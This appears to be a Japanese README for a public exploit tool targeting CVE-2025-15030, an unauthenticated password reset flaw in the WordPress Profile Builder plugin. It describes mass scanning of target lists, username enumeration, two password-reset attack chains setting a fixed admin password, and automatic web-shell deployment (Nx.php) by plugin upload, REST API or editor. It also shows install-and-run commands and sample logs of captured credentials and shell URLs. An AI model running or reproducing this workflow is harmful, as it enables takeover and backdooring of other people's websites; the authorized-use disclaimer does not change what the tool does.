
User Profile Builder < 3.15.2 - 認証不要の任意パスワードリセット
User Profile Builder < 3.15.2 - 未認証の任意パスワードリセット
____ _ _____ ____ ____ ____ ____ _ ____ ____ _____ ____
/ _\/ \ |\/ __/ /_ \/ _ \/_ \/ ___\ / \/ ___\/ _ \\__ \/ _ \
| / | | //| \ _____ / /| / \| / /| \_____ | || \| / \| / || / \|
| \__| \// | /_\____\/ /_| \_/|/ /_\___ |\____\| |\___ || \_/| _\ || \_/|
\____/\__/ \____\ \____/\____/\____/\____/ \_/\____/\____//____/\____/
根本原因:
Profile Builder プラグインのパスワード回復フロー(action2=recover_password2)は、リセットキーを適切に検証せず、トークンの有効期限も強制しません。リセットページから取得した有効な password_recovery_nonce_field2 を含む細工されたPOSTを送信することで、未認証の攻撃者はユーザー名のみを知っていれば、管理者を含む任意のWordPressユーザーの新しいパスワードを設定できます。メールの操作や有効なリセットトークンは必要ありません。
このツールは各ターゲットに対して 2つの独立した攻撃チェーン を実装し、両方ともオプションのシェル展開が続きます。
┌────────────────────────────────────────────────────────────────────┐
│ CHAIN 1 · CORE (wp-login native reset abuse) │
│ │
│ POST /wp-login.php?action=lostpassword (trigger reset) │
│ GET /wp-login.php?action=rp&key=... (follow reset link) │
│ POST /wp-login.php?action=resetpass (inject new password) │
│ Enumerate usernames → brute strict login → verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│ CHAIN 2 · PB (Profile Builder reset-from-link) │
│ │
│ Load reset URLs from pb_reset_links.txt │
│ GET <reset_url> → extract nonce + userData │
│ POST action2=recover_password2 → set new password │
│ Strict login → verify /wp-admin/ access │
├────────────────────────────────────────────────────────────────────┤
│ SHELL UPLOAD (runs after any confirmed admin hit) │
│ │
│ Method 1 → plugin-install.php upload (Nxploited.zip) │
│ Method 2 → REST API /wp-json/wp/v2/plugins │
│ Method 3 → Plugin/Theme editor (write Nx.php directly) │
│ Verify → GET /wp-content/plugins/Nxploited/Nx.php │
│ Log → scan_results/shells.txt │
└────────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0
Nxploited.zip をスクリプトと同じ ディレクトリ に配置すると、シェルアップロードが有効になります。ツールはそれなしでも実行されますが、シェル展開はスキップされます。
python3 CVE-2025-15030.py
Targets list file (one URL per line): list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Output file for core wp-login reset successes: scan_results/wp_login_reset_success.txt
Output file for Nxploited shells: scan_results/shells.txt
Profile Builder reset links file (optional): pb_reset_links.txt
パスワードはすべてのリセットおよびログイン試行で内部的に固定されています:
Nxploited_adminSA
list.txt — ターゲット (必須)https://target1.com
target2.com
http://target3.com/wordpress
pb_reset_links.txt — Profile Builder リセットリンク (オプション)Profile Builder からのパスワードリセットメールリンクを入手した場合は、ここに1行に1つ貼り付けます。ツールは以下の処理を行います:
password_recovery_nonce_field2 + userData を抽出action2=recover_password2 経由で新しいパスワードを送信https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor
このツールはログイン試行前に3つの方法で自動的にWordPressユーザー名を発見します:
| 方法 | エンドポイント |
|---|---|
| オーサーリダイレクト | /?author=1 → /?author=10 |
すべてのログイン試行は結果を書き込む前に厳密に検証されます。以下のチェックを行います:
/wp-admin/index.php → id="adminmenu", id="wpadminbar"
/wp-admin/users.php → users.php indicator
/wp-admin/plugins.php → plugins.php indicator
/wp-admin/plugin-install.php → upload-plugin, plugin-install-tab
結果は、3つ以上の管理者マーカーが確認された場合のみディスクに書き込まれます。
管理者セッションが確認された後、このツールは以下の3つの昇格方法を順に試行します:
シェル確認: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200
| ファイル | 内容 |
|---|---|
scan_results/wp_login_reset_success.txt | COREチェーンによる確認済み管理者ヒット |
scan_results/shells.txt | デプロイされたシェルURLと認証情報 |
wp_login_reset_success.txt
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin pass=Nxploited_adminSA
shells.txt
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php
[host] https://target.com
CORE: KEY=OK , RESET=OK , ACCESS=1 |
PB: KEY=FAIL, RESET=FAIL, ACCESS=0 |
SHELL: OK | LOGIN: https://target.com/wp-login.php
| 列 | 意味 |
|---|---|
KEY |
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY. The author bears zero responsibility for any use of this tool against systems the operator does not own or have explicit written permission to test. Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide and may result in criminal prosecution. You alone are responsible for your actions.
© 2025 Nxploited · User Profile Builder < 3.15.2 · バージョン3.15.2で修正
| フィールド | 詳細 |
|---|
| CVE | CVE-2025-15030 |
| CVSS | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| プラグイン | User Profile Builder for WordPress |
| 影響を受けるバージョン | 3.15.2 より前の全バージョン |
| 認証 | 不要 |
| タイプ | 不適切なパスワードリセット — 未認証アカウント乗っ取り |
| CWE | CWE-640 · 脆弱なパスワード回復メカニズム |
| REST API | /wp-json/wp/v2/users |
| ホスト名ヒューリスティック | ドメイン名の最初のラベル |
| デフォルトフォールバック | admin は常に含まれる |
| 方法 | エンドポイント | トリガー |
|---|
| プラグインアップロード | /wp-admin/update.php?action=upload-plugin | インストールフォームからNxploited.zipをアップロード |
| REST API | /wp-json/wp/v2/plugins | ZIPを直接POST |
| エディター書き込み | /wp-admin/plugin-editor.php | ファイルエディター経由でNx.phpを書き込み |
| リセットフローが正常に開始された |
RESET | 新しいパスワードがサーバーに受け入れられた |
ACCESS | 確認された管理者ログインの数 |
SHELL | Nx.phpが稼働確認されていればOK |